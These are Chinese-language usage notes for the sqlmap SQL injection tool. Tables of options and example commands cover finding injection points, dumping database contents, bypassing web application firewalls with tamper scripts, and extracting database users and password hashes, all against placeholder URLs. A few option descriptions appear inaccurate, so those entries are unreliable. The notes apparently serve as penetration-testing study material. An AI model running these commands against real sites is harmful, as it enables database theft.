sqlmap的使用笔记
文章目录
- sqlmap的使用笔记
- 1. 目标
- 2. 脱库
- 2.1. 脱库(补充)
- 3. 其他
- 3.1. 其他(补充)
1. 目标
操作 | 作用 | 必要示例 |
---|---|---|
-u | 指定URL,检测注入点 | sqlmap -u 'http://example.com/?id=1' |
-m | 指定txt,里面有很多个URL | sqlmap -m urls.txt |
-r | 检测POST请求的注入点,使用BP等工具抓包,将http请求内容保存到txt文件中 | sqlmap -r request.txt |
–cookie | 指定cookie的值,单/双引号包裹 | sqlmap -u "http://example.com?id=x" --cookie 'session_id=1234' |
-D | 指定数据库 | sqlmap -u 'http://example.com/?id=1' -D mydatabase |
-T | 指定表 | sqlmap -u 'http://example.com/?id=1' -D mydatabase -T mytable |
-C | 指定字段 | sqlmap -u 'http://example.com/?id=1' -D mydatabase -T mytable -C mycolumn |
2. 脱库
操作 | 作用 | 必要示例 |
---|---|---|
-b | 获取数据库版本 | sqlmap -u <url> -b |
–current-db | 当前数据库 | sqlmap -u <url> --current-db |
–dbs | 获取数据库 | sqlmap -u <url> --dbs |
–tables | 获取表 | sqlmap -u <url> --tables -D <database> |
–columns | 获取字段 | sqlmap -u <url> --columns -D <database> -T <table> |
–schema | 字段类型 | sqlmap -u <url> --schema -D <database> |
–dump | 获取数据 | sqlmap -u <url> --dump -D <database> -T <table> |
–start | 开始的行 | sqlmap -u <url> --start=1 -D <database> -T <table> |
–stop | 结束的行 | sqlmap -u <url> --stop=10 -D <database> -T <table> |
–search | 搜索库表字段 | sqlmap -u <url> --search -C <column> |
–tamper | WAF绕过 | sqlmap -u <url> --tamper=<tamper_script> |
2.1. 脱库(补充)
- –current-db获取的是当前的数据库名称,而–dbs获取的是所有的数据库名称
- WAF 指的是“Web Application Firewall”,即网络应用防火墙,例如sqlmap -u ‘http://xx/?id=1’ --tamper ‘space2comment.py’,sqlmap有很多内置的绕过脚本(脚本按照用途命名),在/usr/share/sqlmap/tamper/目录下
- –search:如果你正在寻找包含特定关键字的列,这个命令将列出所有包含该关键字的列的名称及其所属的表和数据库。
3. 其他
操作 | 作用 | 必要示例 |
---|---|---|
–batch | 不再询问确认 | sqlmap -u 'http://example.com/?id=1' --batch |
–method=GET | 指定请求方式 | sqlmap -u 'http://example.com/?id=1' --method=GET |
–random-agent | 随机UA | sqlmap -u 'http://example.com/?id=1' --random-agent |
–user-agent | 自定义UA | sqlmap -u 'http://example.com/?id=1' --user-agent 'MyUserAgent' |
–referer | 自定义referer | sqlmap -u 'http://example.com/?id=1' --referer 'http://referer.com' |
–proxy=“123” | 代理 | sqlmap -u 'http://example.com/?id=1' --proxy='http://123.123.123.123:8080' |
–threads 10 | 线程数1~10 | sqlmap -u 'http://example.com/?id=1' --threads 10 |
–level=1 | 测试等级1~5 | sqlmap -u 'http://example.com/?id=1' --level=1 |
–risk=1 | 风险等级0~3 | sqlmap -u 'http://example.com/?id=1' --risk=1 |
3.1. 其他(补充)
- 测试等级:这个等级决定了 SQLMap 将尝试的测试数量和类型。较高的等级意味着 SQLMap 将执行更多类型的测试,这些测试可能更复杂,有时也更具侵入性。例如,在较低的等级上,SQLMap 可能只测试最常见的注入类型,而在较高等级上,它会尝试更多不常见的或复杂的注入技术。
- 风险等级:风险等级影响测试的侵入性。较高的风险等级可能会运行更具侵入性的测试,这些测试可能会对数据库造成更大的负担或风险。例如,一些高风险测试可能包括执行实际的数据库操作(如更新或删除数据),而低风险测试则尽量避免这种潜在的破坏性操作。
操作 | 作用 | 必要示例 |
---|---|---|
-a | 自动识别和测试所有参数 | sqlmap -u 'http://example.com/?id=1' -a |
–current-user | 获取当前数据库用户 | sqlmap -u 'http://example.com/?id=1' --current-user |
–is-dbs | 检测可能的数据库 | sqlmap -u 'http://example.com/?id=1' --is-dbs |
–users | 枚举数据库服务器上的用户 | sqlmap -u 'http://example.com/?id=1' --users |
–privileges | 枚举数据库用户的权限 | sqlmap -u 'http://example.com/?id=1' --privileges |
–passwords | 尝试获取数据库用户的密码 | sqlmap -u 'http://example.com/?id=1' --passwords |
–hostname | 获取数据库服务器的主机名 | sqlmap -u 'http://example.com/?id=1' --hostname |
–statements | 捕获并显示SQL语句 | sqlmap -u 'http://example.com/?id=1' --statements |